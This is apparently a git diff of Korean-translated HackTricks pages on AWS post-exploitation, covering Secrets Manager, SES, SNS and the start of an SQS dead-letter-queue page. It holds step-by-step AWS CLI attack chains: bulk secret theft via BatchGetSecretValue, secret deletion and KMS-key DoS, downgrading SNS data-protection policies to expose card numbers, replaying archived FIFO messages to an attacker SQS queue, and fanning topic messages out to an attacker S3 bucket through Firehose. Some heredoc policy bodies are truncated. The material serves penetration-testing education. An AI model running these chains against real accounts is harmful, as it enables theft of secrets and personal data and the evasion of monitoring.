페이지](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md)를 확인하세요. + +### DoS Change Secret Value + +해당 secret의 값을 변경하면 그 값을 사용하는 모든 시스템을 **DoS**할 수 있습니다. + +> [!WARNING] +> 이전 값들도 저장되므로, 이전 값으로 되돌리는 것이 쉽습니다. +```bash +# Requires permission secretsmanager:PutSecretValue +aws secretsmanager put-secret-value \ +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +``` +### DoS Change KMS key + +공격자가 secretsmanager:UpdateSecret 권한을 가지고 있다면, secret을 공격자가 소유한 KMS key를 사용하도록 구성할 수 있습니다. 그 키는 초기에는 누구나 접근하여 사용할 수 있도록 설정되어 있어, 새 키로 secret을 업데이트하는 것이 가능합니다. 만약 키에 접근할 수 없었다면, secret을 업데이트할 수 없었을 것입니다. + +secret의 키를 변경한 후, 공격자는 자신의 키 설정을 수정하여 오직 자신만 접근할 수 있게 만듭니다. 이렇게 하면 이후 버전의 secret들은 새 키로 암호화되며, 해당 키에 대한 접근 권한이 없기 때문에 secret을 조회할 수 있는 능력이 상실됩니다. + +중요한 점은 현재 버전은 여전히 원래 KMS key로 암호화되어 있으므로, 이러한 접근 불가 상태는 secret의 내용이 변경된 이후인 이후 버전에서만 발생한다는 것입니다. +```bash +aws secretsmanager update-secret \ +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +``` +### DoS Deleting Secret + +secret을 삭제하는 최소 일수는 7일입니다. +```bash +aws secretsmanager delete-secret \ +--secret-id MyTestSecret \ +--recovery-window-in-days 7 +``` +## secretsmanager:RestoreSecret + +삭제가 예약된 secret을 복원할 수 있습니다. secret의 최소 삭제 기간은 7일, 최대는 30일이기 때문입니다. secretsmanager:GetSecretValue 권한과 함께 사용하면 해당 내용을 가져올 수 있습니다. + +삭제 중인 secret을 복구하려면, 다음 명령을 사용할 수 있습니다: +```bash +aws secretsmanager restore-secret \ +--secret-id +``` +## secretsmanager:DeleteResourcePolicy + +이 액션은 secret에 대한 접근을 제어하는 리소스 정책(resource policy)을 삭제할 수 있게 합니다. 리소스 정책이 특정 사용자 집합에 대한 접근을 허용하도록 구성되어 있었다면, 이는 DoS로 이어질 수 있습니다. + +리소스 정책을 삭제하려면: +```bash +aws secretsmanager delete-resource-policy \ +--secret-id +``` +## secretsmanager:UpdateSecretVersionStage + +secret의 상태는 해당 secret의 버전을 관리하는 데 사용됩니다. AWSCURRENT는 애플리케이션이 사용하는 활성 버전을 표시하고, AWSPREVIOUS는 필요 시 롤백할 수 있도록 이전 버전을 보관하며, AWSPENDING는 새 버전을 현재 버전으로 만들기 전에 준비하고 검증하는 rotation 과정에서 사용됩니다. + +애플리케이션은 항상 AWSCURRENT가 붙은 버전을 읽습니다. 누군가 그 라벨을 잘못된 버전으로 옮기면 앱은 잘못된 자격 증명을 사용해 실패할 수 있습니다. + +AWSPREVIOUS는 자동으로 사용되지 않습니다. 다만 AWSCURRENT가 제거되거나 잘못 재할당되면 모든 것이 이전 버전으로 계속 실행되고 있는 것처럼 보일 수 있습니다. +```bash +aws secretsmanager update-secret-version-stage \ +--secret-id \ +--version-stage AWSCURRENT \ +--move-to-version-id \ +--remove-from-version-id +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) + +Secrets Manager BatchGetSecretValue API를 악용하여 단일 요청으로 최대 20개의 secret을 가져올 수 있습니다. 이는 각 secret마다 GetSecretValue를 반복 호출하는 것보다 API 호출 수를 크게 줄여줄 수 있습니다. --filters( tags/name )를 사용하는 경우 ListSecrets 권한도 필요합니다. CloudTrail은 배치에서 가져온 각 secret에 대해 여전히 GetSecretValue 이벤트를 하나씩 기록합니다. + +필요한 권한 +- secretsmanager:BatchGetSecretValue +- secretsmanager:GetSecretValue — 각 대상 secret에 대해 +- secretsmanager:ListSecrets — --filters를 사용하는 경우 +- kms:Decrypt — secret에 사용된 CMKs에 대해 (aws/secretsmanager를 사용하지 않는 경우) + +> [!WARNING] +> `secretsmanager:BatchGetSecretValue` 권한만으로는 secret을 가져오는 데 충분하지 않습니다. 가져오려는 각 secret에 대해 `secretsmanager:GetSecretValue` 권한도 필요합니다. + +Exfiltrate by explicit list +```bash +aws secretsmanager batch-get-secret-value \ +--secret-id-list \ +--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' +``` +필터별로 Exfiltrate (tag key/value 또는 name prefix) +```bash +# By tag key +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-key,Values=env \ +--max-results 20 \ +--query 'SecretValues[].{Name:Name,Val:SecretString}' + +# By tag value +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-value,Values=prod \ +--max-results 20 + +# By name prefix +aws secretsmanager batch-get-secret-value \ +--filters Key=name,Values=MyApp +``` +부분 실패 처리 +```bash +# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters +aws secretsmanager batch-get-secret-value --secret-id-list +``` +- 더 적은 API 호출로 많은 secrets를 빠르게 “smash-and-grab”하여, GetSecretValue 급증에 맞춰 튜닝된 alerting을 잠재적으로 우회할 수 있습니다. +- CloudTrail logs에는 배치로 검색된 각 secret에 대해 여전히 하나의 GetSecretValue 이벤트가 포함됩니다. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md similarity index 60% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md index 185f52c88..4483a8849 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md @@ -1,13 +1,13 @@ -# AWS - SES 포스트 익스플로이테이션 +# AWS - SES Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## SES 자세한 정보는 다음을 확인하세요: {{#ref}} -../aws-services/aws-ses-enum.md +../../aws-services/aws-ses-enum.md {{#endref}} ### `ses:SendEmail` @@ -17,15 +17,15 @@ aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` -아직 테스트할 것. +아직 테스트 필요. ### `ses:SendRawEmail` -이메일을 보내다. +이메일을 전송합니다. ```bash aws ses send-raw-email --raw-message file://message.json ``` -아직 테스트할 것. +아직 테스트 필요. ### `ses:SendTemplatedEmail` @@ -33,35 +33,37 @@ aws ses send-raw-email --raw-message file://message.json ```bash aws ses send-templated-email --source --destination --template ``` -아직 테스트할 것. +아직 테스트 필요. ### `ses:SendBulkTemplatedEmail` -여러 목적지에 이메일을 전송합니다. +여러 수신자에게 이메일 전송 ```bash aws ses send-bulk-templated-email --source --template ``` -아직 테스트할 것. +아직 테스트되지 않음. ### `ses:SendBulkEmail` -여러 목적지에 이메일을 보냅니다. +여러 대상에게 이메일을 전송합니다. ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` ### `ses:SendBounce` -받은 이메일에 대해 **반송 이메일**을 보냅니다(이메일을 받을 수 없음을 나타냄). 이는 **이메일 수신 후 24시간 이내에만** 수행할 수 있습니다. +수신된 이메일에 대해 **bounce email**을 전송합니다(이메일을 수신할 수 없었음을 나타냄). 이 작업은 이메일을 수신한 후 **최대 24h까지**만 수행할 수 있습니다. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` -아직 테스트해야 합니다. +아직 테스트되지 않았습니다. ### `ses:SendCustomVerificationEmail` -이것은 맞춤형 확인 이메일을 보냅니다. 템플릿 이메일을 생성할 권한도 필요할 수 있습니다. +이 작업은 맞춤형 검증 이메일을 전송합니다. 템플릿 이메일을 생성하기 위한 권한도 필요할 수 있습니다. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` -아직 테스트해야 함. +아직 테스트 필요. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md deleted file mode 100644 index 5ace11f51..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ /dev/null @@ -1,68 +0,0 @@ -# AWS - SNS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -자세한 정보는 다음을 참조하십시오: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### 메시지 방해 - -여러 경우에 SNS 주제는 모니터링되는 플랫폼(이메일, 슬랙 메시지 등)으로 메시지를 보내는 데 사용됩니다. 공격자가 클라우드 내 자신의 존재를 알리는 메시지 전송을 방지하면, 그는 탐지되지 않을 수 있습니다. - -### `sns:DeleteTopic` - -공격자는 전체 SNS 주제를 삭제하여 메시지 손실을 초래하고 해당 주제에 의존하는 애플리케이션에 영향을 줄 수 있습니다. -```bash -aws sns delete-topic --topic-arn -``` -**잠재적 영향**: 삭제된 주제를 사용하는 애플리케이션에 대한 메시지 손실 및 서비스 중단. - -### `sns:Publish` - -공격자는 SNS 주제에 악의적이거나 원치 않는 메시지를 보낼 수 있으며, 이로 인해 데이터 손상, 의도하지 않은 작업 트리거 또는 리소스 소모가 발생할 수 있습니다. -```bash -aws sns publish --topic-arn --message -``` -**잠재적 영향**: 데이터 손상, 의도하지 않은 행동 또는 리소스 고갈. - -### `sns:SetTopicAttributes` - -공격자는 SNS 주제의 속성을 수정할 수 있으며, 이는 성능, 보안 또는 가용성에 영향을 미칠 수 있습니다. -```bash -aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value -``` -**잠재적 영향**: 잘못된 구성으로 인해 성능 저하, 보안 문제 또는 가용성 감소가 발생할 수 있습니다. - -### `sns:Subscribe` , `sns:Unsubscribe` - -공격자는 SNS 주제에 구독하거나 구독을 취소할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -aws sns unsubscribe --subscription-arn -``` -**잠재적 영향**: 메시지에 대한 무단 접근, 영향을 받는 주제에 의존하는 애플리케이션의 서비스 중단. - -### `sns:AddPermission` , `sns:RemovePermission` - -공격자는 무단 사용자 또는 서비스에 SNS 주제에 대한 접근 권한을 부여하거나, 정당한 사용자에 대한 권한을 철회하여 주제에 의존하는 애플리케이션의 정상적인 기능에 중단을 초래할 수 있습니다. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -aws sns remove-permission --topic-arn --label -``` -**잠재적 영향**: 주제에 대한 무단 접근, 메시지 노출 또는 무단 사용자 또는 서비스에 의한 주제 조작, 주제에 의존하는 애플리케이션의 정상적인 기능 중단. - -### `sns:TagResource` , `sns:UntagResource` - -공격자는 SNS 리소스에서 태그를 추가, 수정 또는 제거할 수 있으며, 이는 귀하의 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다. -```bash -aws sns tag-resource --resource-arn --tags Key=,Value= -aws sns untag-resource --resource-arn --tag-keys -``` -**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md new file mode 100644 index 000000000..1c5162a93 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md @@ -0,0 +1,82 @@ +# AWS - SNS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +For more information: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### 메시지 차단 + +여러 경우 SNS topics는 모니터링되는 플랫폼( emails, slack messages... )으로 메시지를 전송하는 데 사용됩니다. 공격자가 클라우드에서 자신의 존재를 알리는 알림 메시지 전송을 차단하면 탐지되지 않은 상태로 남을 수 있습니다. + +### `sns:DeleteTopic` + +공격자는 전체 SNS topic을 삭제하여 메시지 손실을 초래하고 해당 topic에 의존하는 애플리케이션에 영향을 줄 수 있습니다. +```bash +aws sns delete-topic --topic-arn +``` +**Potential Impact**: 삭제된 topic을 사용하는 애플리케이션에 메시지 손실 및 서비스 중단을 초래할 수 있음. + +### `sns:Publish` + +공격자가 SNS topic으로 악성 또는 원치 않는 메시지를 전송하여 데이터 손상, 의도치 않은 동작 유발 또는 자원 고갈을 초래할 수 있음. +```bash +aws sns publish --topic-arn --message +``` +**Potential Impact**: 데이터 손상, 의도하지 않은 동작 또는 리소스 고갈. + +### `sns:SetTopicAttributes` + +공격자가 SNS 토픽의 속성을 수정하여 성능, 보안 또는 가용성에 영향을 미칠 수 있습니다. +```bash +aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value +``` +**잠재적 영향**: 잘못된 구성으로 인해 성능 저하, 보안 문제 또는 가용성 감소가 발생할 수 있습니다. + +### `sns:Subscribe` , `sns:Unsubscribe` + +공격자는 SNS topic에 구독(subscribe) 또는 구독 취소(unsubscribe)를 수행하여 메시지에 대한 무단 접근을 얻거나 해당 토픽에 의존하는 애플리케이션의 정상 동작을 방해할 수 있습니다. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +aws sns unsubscribe --subscription-arn +``` +**Potential Impact**: 메시지에 대한 무단 접근, 영향을 받은 토픽에 의존하는 애플리케이션의 서비스 중단. + +### `sns:AddPermission` , `sns:RemovePermission` + +공격자가 권한 없는 사용자나 서비스에 SNS 토픽에 대한 접근 권한을 부여하거나, 정당한 사용자의 권한을 철회하여 해당 토픽에 의존하는 애플리케이션의 정상 동작을 방해할 수 있습니다. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +aws sns remove-permission --topic-arn --label +``` +**잠재적 영향**: 무단 사용자의 topic 접근, 메시지 노출 또는 무단 사용자나 서비스에 의한 topic 조작, topic에 의존하는 애플리케이션의 정상 동작 방해. + +### `sns:TagResource` , `sns:UntagResource` + +공격자는 SNS 리소스에 태그를 추가, 수정 또는 제거할 수 있어 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다. +```bash +aws sns tag-resource --resource-arn --tags Key=,Value= +aws sns untag-resource --resource-arn --tag-keys +``` +**잠재적 영향**: 비용 할당, 자원 추적 및 태그 기반 접근 제어 정책의 중단. + +### 더 많은 SNS Post-Exploitation Techniques + +{{#ref}} +aws-sns-data-protection-bypass.md +{{#endref}} + +{{#ref}} +aws-sns-fifo-replay-exfil.md +{{#endref}} + +{{#ref}} +aws-sns-firehose-exfil.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md new file mode 100644 index 000000000..d8cf3c7b0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md @@ -0,0 +1,92 @@ +# AWS - SNS Message Data Protection Bypass via Policy Downgrade + +{{#include ../../../../banners/hacktricks-training.md}} + +토픽에 `sns:PutDataProtectionPolicy` 권한이 있으면 해당 토픽의 Message Data Protection 정책을 Deidentify/Deny에서 Audit-only로 변경(또는 Outbound 제어를 제거)하여 민감한 값(예: 신용카드 번호)이 구독으로 수정되지 않은 채 전달되도록 할 수 있습니다. + +## Requirements +- 대상 토픽에서 `sns:PutDataProtectionPolicy`를 호출할 수 있는 권한(데이터를 수신하려면 일반적으로 `sns:Subscribe` 권한도 필요). +- 표준 SNS 토픽(Message Data Protection 지원). + +## Attack Steps + +- Variables + +```bash +REGION=us-east-1 +``` + +1) 표준 토픽과 공격자 SQS 큐를 생성하고, 이 토픽만 큐로 전송할 수 있도록 허용합니다 + +```bash +TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text) +Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17 +``` + +2) 아웃바운드 메시지에서 신용카드 번호를 마스킹하는 데이터 보호 정책을 연결합니다 + +```bash +cat > /tmp/ht-dlp-policy.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "MaskCCOutbound", +"Principal": ["*"], +"DataDirection": "Outbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)" +``` + +3) 공격자 큐를 구독하고 테스트 신용카드 번호를 포함한 메시지를 게시한 뒤 마스킹을 확인합니다 + +```bash +SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text) +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` + +예상 출력은 마스킹(해시)을 보여줍니다: +```json +"Message" : "payment:{cc:################}" +``` +4) 정책을 audit-only로 하향(Outbound에 영향을 주는 deidentify/deny 문 없음) + +For SNS, Audit statements must be Inbound. Replacing the policy with an Audit-only Inbound statement removes any Outbound de-identification, so messages flow unmodified to subscribers. +```bash +cat > /tmp/ht-dlp-audit-only.json <<'JSON' +{ +"Name": "__ht_dlp_policy", +"Version": "2021-06-01", +"Statement": [{ +"Sid": "AuditInbound", +"Principal": ["*"], +"DataDirection": "Inbound", +"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"], +"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } } +}] +} +JSON +aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)" +``` + +5) 동일한 메시지를 publish하고 마스킹 해제된 값이 전송되는지 확인 +```bash +aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459} +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All +``` +Expected excerpt shows cleartext CC: +```text +4539894458086459 +``` +## 영향 +- topic을 de-identification/deny에서 audit-only로 전환(또는 다른 방식으로 Outbound controls를 제거)하면 PII/secrets가 수정되지 않은 상태로 attacker-controlled subscriptions로 전달되어, 그렇지 않으면 마스킹되거나 차단되었을 데이터 유출이 가능해집니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md new file mode 100644 index 000000000..9e1ad3721 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md @@ -0,0 +1,100 @@ +# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription + +{{#include ../../../../banners/hacktricks-training.md}} + +Amazon SNS FIFO topic의 메시지 아카이빙을 악용하여 subscription `ReplayPolicy`를 설정함으로써 이전에 게시된 메시지들을 재생(replay)하고 attacker가 제어하는 SQS FIFO queue로 exfiltrate할 수 있음. + +- 서비스: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues) +- 요구사항: Topic에 ArchivePolicy(메시지 아카이빙)가 활성화되어 있어야 함. Attacker가 topic에 Subscribe하고 자신의 subscription에 속성(attributes)을 설정할 수 있어야 함. Attacker는 SQS FIFO queue를 제어하고 topic이 메시지를 전송하도록 허용해야 함. +- 영향: 이전에 게시된(구현된) 히스토리 메시지들이 attacker 엔드포인트로 전달될 수 있음. 재생된 전달은 SNS envelope에 `Replayed=true`로 표시됨. + +## 전제조건 +- 아카이빙이 활성화된 SNS FIFO topic: `ArchivePolicy` (예: `{ "MessageRetentionPeriod": "2" }` 는 2일). +- Attacker는 다음 권한을 가지고 있어야 함: + - 대상 topic에 대한 `sns:Subscribe`. + - 생성된 subscription에 대한 `sns:SetSubscriptionAttributes`. +- Attacker는 SQS FIFO queue를 보유하고 있으며 topic ARN으로부터 `sns:SendMessage`를 허용하는 queue policy를 연결할 수 있어야 함. + +## 최소 IAM 권한 +- topic에 대해: `sns:Subscribe`. +- subscription에 대해: `sns:SetSubscriptionAttributes`. +- queue에 대해: 정책을 위한 `sqs:SetQueueAttributes` 및 topic ARN로부터 `sns:SendMessage`를 허용하는 queue policy. + +## 공격: 아카이브된 메시지를 attacker SQS FIFO로 replay +Attacker는 자신의 SQS FIFO queue를 피해자 SNS FIFO topic에 구독(Subscribe)한 다음, `ReplayPolicy`를 보존 기간 내 과거 타임스탬프로 설정한다. SNS는 즉시 새로운 subscription에 일치하는 아카이브된 메시지들을 재생하여 전달하며, 이를 `Replayed=true`로 표시한다. + +참고: +- `ReplayPolicy`에 사용되는 타임스탬프는 topic의 `BeginningArchiveTime` 이상이어야 함. 더 이전이면 API는 `Invalid StartingPoint value` 오류를 반환함. +- SNS FIFO에 대한 `Publish` 시에는 `MessageGroupId`를 지정해야 하며(그리고 dedup ID를 지정하거나 `ContentBasedDeduplication`을 활성화해야 함). + +
+End-to-end CLI POC (us-east-1) +```bash +REGION=us-east-1 +# Compute a starting point; adjust later to >= BeginningArchiveTime if needed +TS_START=$(python3 - << 'PY' +from datetime import datetime, timezone, timedelta +print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) +PY +) + +# 1) Create SNS FIFO topic with archiving (2-day retention) +TOPIC_NAME=htreplay$(date +%s).fifo +TOPIC_ARN=$(aws sns create-topic --region "$REGION" \ +--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \ +--query TopicArn --output text) + +echo "Topic: $TOPIC_ARN" + +# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId) +for i in $(seq 1 3); do +aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \ +--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \ +--message-group-id g1 >/dev/null +done + +# 3) Create attacker SQS FIFO queue and allow only this topic to send +Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \ +--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \ +--attribute-names QueueArn --query Attributes.QueueArn --output text) + +cat > /tmp/ht-replay-sqs-policy.json <= BeginningArchiveTime +BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text) +START=${TS_START} +if [ -n "$BEGIN" ]; then START="$BEGIN"; fi + +aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \ +--attribute-name ReplayPolicy \ +--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}" + +# 6) Receive replayed messages (note Replayed=true in the SNS envelope) +aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \ +--max-number-of-messages 10 --wait-time-seconds 10 \ +--message-attribute-names All --attribute-names All +``` +
+ +## 영향 +**잠재적 영향**: 아카이빙이 활성화된 SNS FIFO 토픽에 subscribe할 수 있고 자신의 subscription에 `ReplayPolicy`를 설정할 수 있는 공격자는 이 구독이 생성된 이후에 전송된 메시지뿐만 아니라 해당 토픽에 게시된 과거 메시지를 즉시 replay하고 exfiltrate할 수 있습니다. 전달된 메시지는 SNS envelope에 `Replayed=true` 플래그를 포함합니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md new file mode 100644 index 000000000..d4a007970 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -0,0 +1,76 @@ +# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3) + +{{#include ../../../../banners/hacktricks-training.md}} + +공격자가 제어하는 Kinesis Data Firehose delivery stream를 피해자의 SNS standard topic에 등록하기 위해 Firehose subscription 프로토콜을 악용합니다. 구독이 설정되고 필요한 IAM 역할이 `sns.amazonaws.com`을 신뢰하면, 이후 모든 알림은 수사적인 소음 없이 공격자의 S3 버킷에 영구적으로 기록됩니다. + +## Requirements +- 공격자 계정에서 S3 버킷, Firehose delivery stream 및 Firehose가 사용하는 IAM 역할을 생성할 수 있는 권한 (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, 등). +- 피해자 topic에 대해 `sns:Subscribe` 할 수 있는 권한(구독 생성 후 subscription role ARN이 제공되는 경우 선택적으로 `sns:SetSubscriptionAttributes` 권한 필요). +- 공격자 주체가 구독할 수 있도록 허용하는 topic policy(또는 공격자가 이미 동일 계정 내부에서 운영 중인 경우). + +## Attack Steps (same-account example) +```bash +REGION=us-east-1 +ACC_ID=$(aws sts get-caller-identity --query Account --output text) +SUFFIX=$(date +%s) + +# 1) Create attacker S3 bucket and Firehose delivery stream +ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX +aws s3 mb s3://$ATTACKER_BUCKET --region $REGION + +STREAM_NAME=ht-firehose-stream-$SUFFIX +FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX + +# Role Firehose assumes to write into the bucket +aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/firehose-s3-policy.json </dev/null + +# 2) IAM role SNS assumes when delivering into Firehose +SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX +aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{ +"Version": "2012-10-17", +"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}] +}' + +cat > /tmp/allow-firehose.json < +aws sns subscribe \ +--topic-arn "$TOPIC_ARN" \ +--protocol firehose \ +--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \ +--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \ +--region $REGION + +# 4) Publish test message and confirm arrival in S3 +aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION +sleep 90 +aws s3 ls s3://$ATTACKER_BUCKET/ --recursive +``` +## Cleanup +- SNS 구독, Firehose delivery stream, 임시 IAM 역할/정책 및 공격자 S3 버킷을 삭제합니다. + +## Impact +**잠재적 영향**: 타깃 SNS topic에 게시된 모든 메시지가 공격자 제어 스토리지로 지속적이고 내구성 있게 exfiltration되며, 운영상 흔적은 최소화됩니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md new file mode 100644 index 000000000..f1133b19b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -0,0 +1,150 @@ +# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask + +## 설명 + +`StartMessageMoveTask`을 사용하여 SQS 메시지 이동 작업을 악용해 피해자의 Dead-Letter Queue (DLQ)에 누적된 모든 메시지를 공격자가 제어하는 큐로 리디렉션하여 훔칩니다. 이 기법은 AWS의 정당한 메시지 복구 기능을 악용해 시간이 지나며 DLQ에 누적된 민감한 데이터를 유출합니다. + +## Dead-Letter Queue (DLQ)란 무엇인가? + +Dead-Letter Queue는 메인 애플리케이션에서 정상적으로 처리되지 못한 메시지들이 자동으로 전송되는 특수한 SQS 큐입니다. 이러한 실패한 메시지에는 종종 다음이 포함됩니다: +- 처리되지 못한 민감한 애플리케이션 데이터 +- 오류 세부 정보 및 디버깅 정보 +- Personal Identifiable Information (PII) +- API tokens, 자격 증명 또는 기타 비밀 +- 비즈니스에 중요한 거래 데이터 + +DLQ는 실패한 메시지들의 "묘지" 역할을 하므로, 애플리케이션이 제대로 처리하지 못해 시간이 지나며 민감한 데이터가 누적되기 때문에 가치 있는 타깃이 됩니다. + +## 공격 시나리오 + 